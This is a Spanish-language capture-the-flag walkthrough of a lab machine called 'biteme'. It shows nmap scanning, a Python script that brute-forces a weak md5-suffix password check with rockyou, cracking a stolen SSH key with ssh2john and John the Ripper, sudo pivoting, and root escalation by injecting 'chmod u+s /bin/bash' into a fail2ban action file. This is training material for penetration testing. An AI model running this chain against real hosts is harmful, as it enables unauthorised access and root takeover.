En esta maquina tendremos que tener en cuenta el analisis del codigo fuente en php de la aplicación web durante la prueba de pentesting, asi mismo realizaremos un script en python para automatizar el proceso de encontrar la contraseña y codigo correcta. Para la escalada de privilegios tendremos que explotar los permisos que tiene el usuario sobre la ejecucion de un binario que es fail2ban.
Link
Created by
Walkthrough
Enumeración
Iniciamos como en todas las maquinas realizando un nmap enumerando solo los puertos abiertos, ya que si lanzamos la enumeración de versiones y servicios esto tomara mucho tiempo.
❯ nmap -p- --open --min-rate 1000 -vvv -Pn -n 10.10.154.198 -oG allportsScan
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Teniendo los puertos abiertos 22 y 80 procederemos a enumerar las versiones y servicios que se ejecuten en este.
❯ nmap -p22,80 -sC -sV -Pn -vvv -n 10.10.154.198 -oN servicesScan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 89:ec:67:1a:85:87:c6:f6:64:ad:a7:d1:9e:3a:11:94 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOkcBZItsAyhmjKqiIiedZbAsFGm/mkiNHjvggYp3zna1Skix9xMhpVbSlVCS7m/AJdWkjKFqK53OfyP6eMEMI4EaJgAT+G0HSsxqH+NlnuAm4dcXsprxT1UluIeZhZ2zG2k9H6Qkz81TgZOuU3+cZ/DDizIgDrWGii1gl7dmKFeuz/KeRXkpiPFuvXj2rlFOCpGDY7TXMt/HpVoh+sPmRTq/lm7roL4468xeVN756TDNhNa9HLzLY7voOKhw0rlZyccx0hGHKNplx4RsvdkeqmoGnRHtaCS7qdeoTRuzRIedgBNpV00dB/4G+6lylt0LDbNzcxB7cvwmqEb2ZYGzn
| 256 7f:6b:3c:f8:21:50:d9:8b:52:04:34:a5:4d:03:3a:26 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOZGQ8PK6Ag3kAOQljaZdiZTitqMfwmwu6V5pq1KlrQRl4funq9C45sVL+bQ9bOPd8f9acMNp6lqOsu+jJgiec4=
| 256 c4:5b:e5:26:94:06:ee:76:21:75:27:bc:cd:ba:af:cc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMpXlaxVKC/3LXrhUOMsOPBzptNVa1u/dfUFCM3ZJMIA
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumerando versión y servicio de cada uno de los puertos procederemos a seguir enumerando.
Puerto 80
Visitando el sitio web encontramos lo siguiente:
Para poder seguir enumerando el contenido del sitio web, procederemos enumerar los directorios del sitio web.
<?php
include('config.php');
function is_valid_user($user) {
$user = bin2hex($user);
return $user === LOGIN_USER;
}
// @fred let's talk about ways to make this more secure but still flexible
function is_valid_pwd($pwd) {
$hash = md5($pwd);
return substr($hash, -3) === '001';
}
Tenemos el usuario que es valido. Visualizando el código vemos que se hace una comparativa de los tes últimos dígitos de un hash, este hash es generado al ingresar la contraseña.
Explotación
Para automatizar el proceso de encontrar la palabra que al convertir un hash md5 en los tres últimos dígitos contengo 001.
#!/usr/bin/python3
import sys
from pwn import *
import hashlib
import signal
def crtl_C(signal,frame ):
print(" [!] Exting...")
sys.exit(0)
signal.signal(signal.SIGINT, crtl_C)
def hash_md5(word):
hashmd5=hashlib.md5(word.encode())
hex_hashmd5=hashmd5.hexdigest()
if hex_hashmd5.endswith("001"):
print(word,end="")
if __name__=='__main__':
file = open('/usr/share/wordlists/rockyou.txt', 'r', encoding='latin-1')
p1=log.progress("Data")
for word in file:
p1.status("Validando password %s" %(word))
hash_md5(word)
Ejecutando el el script encontraremos las palabras que al pasarlo a hash md5 terminan en 001.
Al ingresar el código valido, la web nos redijera a un panel donde se hace búsquedas de archivos y visualizarlos.
Enumeraremos los usuarios del sistema haciendo uso de los buscadores y encontraremos con el usuario jason que en directorio /home/jason/.ssh/id_rsa. Este id_rsa esta encriptado, para encontrar el la contraseña del id_rsa haremos uso de ssh2john
/home/jason/.ssh/id_rsa
❯ ssh2john id_rsa > hash
Teniendo el hash, procederemos a crackear este con John The Ripper para obtener la contraseña.
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1a2b3c4d (id_rsa)
1g 0:00:00:00 DONE (2023-12-09 12:46) 7.142g/s 35885p/s 35885c/s 35885C/s christina1..dumnezeu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Escalada de privilegios
Cambiando los permisos del id_rsa con el siguiente comando chmod 600 id_rsa para poder hacerlo uso.
Usuario: Jason
Enumerando los permisos del usuario del jason podemos ver los siguientes permisos.
jason@biteme:~$ sudo -l
Matching Defaults entries for jason on biteme:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jason may run the following commands on biteme:
(ALL : ALL) ALL
(fred) NOPASSWD: ALL
Teniendo los permisos (fred) NOPASSWD: ALL, para escalar privilegios a fred ejecutaremos una /bin/bash como el usuario fred.
jason@biteme:~$ sudo -u fred /bin/bash
fred@biteme:~$ whoami
fred
Usuario: fred
Enumerando los permisos de fred haremos uso de sudo -l para visualizar los permisos de ejecución con privilegios. Vemos que tenemos permisos de ejecutar /bin/systemctl restart fail2ban con privilegios de usuario root.
fred@biteme:~$ sudo -l
Matching Defaults entries for fred on biteme:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User fred may run the following commands on biteme:
(root) NOPASSWD: /bin/systemctl restart fail2ban
Fail2ban es una aplicación de software de código abierto diseñada para mejorar la seguridad de los servidores Linux al protegerlos contra ataques de fuerza bruta y otros tipos de ataques automatizados. La idea principal detrás de Fail2ban es detectar patrones de comportamiento malicioso en los registros (logs) del sistema y tomar medidas para prevenir o mitigar esos ataques.
Fail2ban utiliza filtros para definir patrones y acciones para especificar qué hacer cuando se detecta un patrón. Los filtros y acciones están definidos en archivos de configuración, lo que permite una personalización adecuada según las necesidades del administrador del sistema.
Integración con iptables o firewalld: Fail2ban a menudo trabaja en conjunto con iptables (o firewalld, dependiendo de la distribución de Linux) para agregar reglas de firewall dinámicamente y bloquear el tráfico de las direcciones IP que se consideran maliciosas.
fred@biteme:~$ ls -la /etc/fail2ban/action.d/iptables-multiport.conf
-rw-r--r-- 1 fred root 1420 Dec 9 18:06 /etc/fail2ban/action.d/iptables-multiport.conf
nano /etc/fail2ban/action.d/iptables-multiport.conf
Ahora inyectaremos nuestro comando para cambiar los permisos de la /bin/bash con el siguiente comando actionban=/bin/bash -c 'chmod u+s /bin/bash'.